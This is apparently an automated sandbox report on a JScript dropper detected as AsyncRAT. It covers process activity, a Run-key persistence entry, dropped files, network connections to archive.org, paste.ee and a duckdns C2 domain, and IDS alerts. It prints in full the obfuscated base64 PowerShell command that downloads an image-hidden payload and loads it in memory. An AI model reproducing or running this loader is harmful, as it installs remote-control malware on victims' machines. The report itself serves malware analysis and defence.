| File name: | paste..js |
| Full analysis: | https://app.any.run/tasks/47f8c426-25ce-4c8f-bbc7-9274eb142f37 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | April 29, 2025, 09:29:11 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Unicode text, UTF-8 text, with very long lines (302), with CRLF line terminators |
| MD5: | F1E1B193036890AE61AD7BDB82B4BB3B |
| SHA1: | 2B0D2ED3684AD4896F17DD235ED967ACB443271F |
| SHA256: | A0DEE795B9FE96554569C2854167647F630BE4399F294DD2CBAF58BB8ACB27D6 |
| SSDEEP: | 192:zG1G1G1G1G1G1G1G1G1G1KG1G1G1G1G1G1G1G1G1G1KG1G1G1G1G1G1G1G1G1G12:nKMtrB+I93bVTITyC |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 7512)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7512)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7512)
ASYNCRAT has been detected (YARA)
- jsc.exe (PID: 7816)
SUSPICIOUS
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7428)
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7428)
Runs shell command (SCRIPT)
- wscript.exe (PID: 7428)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7428)
Executes script without checking the security policy
- powershell.exe (PID: 7512)
Base64-obfuscated command line is found
- wscript.exe (PID: 7428)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7428)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7512)
Likely accesses (executes) a file from the Public directory
- cmd.exe (PID: 7736)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 7512)
Potential Corporate Privacy Violation
- powershell.exe (PID: 7512)
Connects to unusual port
- jsc.exe (PID: 7816)
INFO
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7512)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7512)
Disables trace logs
- powershell.exe (PID: 7512)
Checks proxy server information
- powershell.exe (PID: 7512)
- slui.exe (PID: 8152)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7512)
Checks supported languages
- jsc.exe (PID: 7816)
Reads the machine GUID from the registry
- jsc.exe (PID: 7816)
Reads the software policy settings
- slui.exe (PID: 8152)
Reads the computer name
- jsc.exe (PID: 7816)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
131
Monitored processes
8
Malicious processes
3
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7428 | "C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\paste..js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
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| 7512 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$pensie = 'JABwAGkAdABvAHUAcwAgAD0AIAAnADAALwBCAFgAdQB2AGwANgAzAG8ALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJABmAGEAcgBuAGUAcwBvAGwAIAA9ACAAJABwAGkAdABvAHUAcwAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAUwBhAG4AYwB0AHUAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAaAB1AG0AbwByAGUAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABoAHUAbQBvAHIAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAnACkAOwAkAG0AZQBsAGEAbgBhAGMAdABlAHMAIAA9ACAAJABoAHUAbQBvAHIAZQBkAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAFMAYQBuAGMAdAB1AHMAKQA7ACQAYgBpAHoAYQByAHIAbwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAG0AZQBsAGEAbgBhAGMAdABlAHMAKQA7ACQAcgBlAG4AYQBsAGQAcgB5ACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABtAGkAcwBmAGUAYQBzAGEAbgBjAGUAcwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABjAG8AYQBsAGkAdABlACAAPQAgACQAYgBpAHoAYQByAHIAbwAuAEkAbgBkAGUAeABPAGYAKAAkAHIAZQBuAGEAbABkAHIAeQApADsAJABpAG4AdABlAHIAdQBuAGcAdQBsAGEAdABlACAAPQAgACQAYgBpAHoAYQByAHIAbwAuAEkAbgBkAGUAeABPAGYAKAAkAG0AaQBzAGYAZQBhAHMAYQBuAGMAZQBzACkAOwAkAGMAbwBhAGwAaQB0AGUAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABpAG4AdABlAHIAdQBuAGcAdQBsAGEAdABlACAALQBnAHQAIAAkAGMAbwBhAGwAaQB0AGUAOwAkAGMAbwBhAGwAaQB0AGUAIAArAD0AIAAkAHIAZQBuAGEAbABkAHIAeQAuAEwAZQBuAGcAdABoADsAJABwAGEAcgBhAHMAYwBlAHUAYQBzAHQAaQBjACAAPQAgACQAaQBuAHQAZQByAHUAbgBnAHUAbABhAHQAZQAgAC0AIAAkAGMAbwBhAGwAaQB0AGUAOwAkAGUAZwBvAHQAaQBzAHQAcwAgAD0AIAAkAGIAaQB6AGEAcgByAG8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAGEAbABpAHQAZQAsACAAJABwAGEAcgBhAHMAYwBlAHUAYQBzAHQAaQBjACkAOwAkAEEAcgBpAHMAdABvAHQAZQBsAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlAGcAbwB0AGkAcwB0AHMAKQA7ACQAcgBhAGMAaQBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAQQByAGkAcwB0AG8AdABlAGwAZQBzACkAOwAkAHMAdABvAG0AYQBwAHkAcgBhACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFYAQQBJACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAQAAoACQAZgBhAHIAbgBlAHMAbwBsACwAJwAxACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwARABvAHcAbgBsAG8AYQBkAHMAJwAsACcAYwBoAGEAZwByAGkAbgBpAG4AZwAnACwAJwBqAHMAYwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwAnACwAJwBqAHMAJwAsACcAJwAsACcAJwAsACcAJwAsACcAMgAnACwAJwAnACkAKQA=' -replace '','';$legislatures = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($pensie));Invoke-Expression $legislatures;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7520 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7736 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\chagrining.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7744 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 7816 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: jsc.exe Version: 14.8.9037.0 built by: NET481REL1 Modules
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| 8152 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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Total events
9 844
Read events
9 842
Write events
2
Delete events
0
Modification events
| (PID) Process: | (7428) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 3AE1100000000000 | |||
| (PID) Process: | (7512) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\chagrining.js | |||
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7512 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lvlfyvar.5sh.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7736 | cmd.exe | C:\Users\Public\Downloads\chagrining.js | text | |
MD5:342857CA18166926FB2C6C83FC07C346 | SHA256:02DD9F794B01C43C5D862F09D28C4860A310F57A000F3FE06F97E56207E011DF | |||
| 7512 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zi5bbj4w.qkx.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7512 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:864EF84FF3681B90A4D36A90F1192686 | SHA256:676E03A76EF83B110385E062D99D558AFE52052ACE80D8B66255523E10C06FDB | |||
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HTTP(S) requests
31
TCP/UDP connections
75
DNS requests
22
Threats
20
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4040 | RUXIMICS.exe | GET | 200 | 23.216.77.30:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4040 | RUXIMICS.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 302 | 207.241.224.2:443 | https://archive.org/download/new_image_20250413/new_image.jpg | unknown | — | — | — |
— | — | GET | 304 | 52.149.20.212:443 | https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL | unknown | — | — | — |
7964 | SIHClient.exe | GET | 200 | 23.216.77.30:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl | unknown | — | — | whitelisted |
7964 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 13.95.31.18:443 | https://fe3cr.delivery.mp.microsoft.com/clientwebservice/ping | unknown | — | — | — |
7964 | SIHClient.exe | GET | 200 | 23.216.77.30:80 | http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 52.149.20.212:443 | https://slscr.update.microsoft.com/sls/ping | unknown | — | — | — |
7964 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4040 | RUXIMICS.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
— | — | 20.190.160.5:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 20.190.160.5:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4040 | RUXIMICS.exe | 23.216.77.30:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4040 | RUXIMICS.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
7512 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
archive.org |
| whitelisted |
ia601700.us.archive.org |
| whitelisted |
paste.ee |
| shared |
deadpoolstart2051.duckdns.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | Misc activity | INFO [ANY.RUN] USER_AGENTS Suspicious User-Agent (Mozilla/5.0) |
— | — | A Network Trojan was detected | PAYLOAD [ANY.RUN] Base64 encoded PE EXE file inside JPEG image |
— | — | A Network Trojan was detected | PAYLOAD [ANY.RUN] Stegocampaign Jpeg with base64 added (TA558) |
— | — | A Network Trojan was detected | ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 |
— | — | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
— | — | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
— | — | Exploit Kit Activity Detected | ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 |
— | — | Potentially Bad Traffic | PAYLOAD [ANY.RUN] Reverse Base64 Encoded EXE Inbound |
— | — | A Network Trojan was detected | ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound |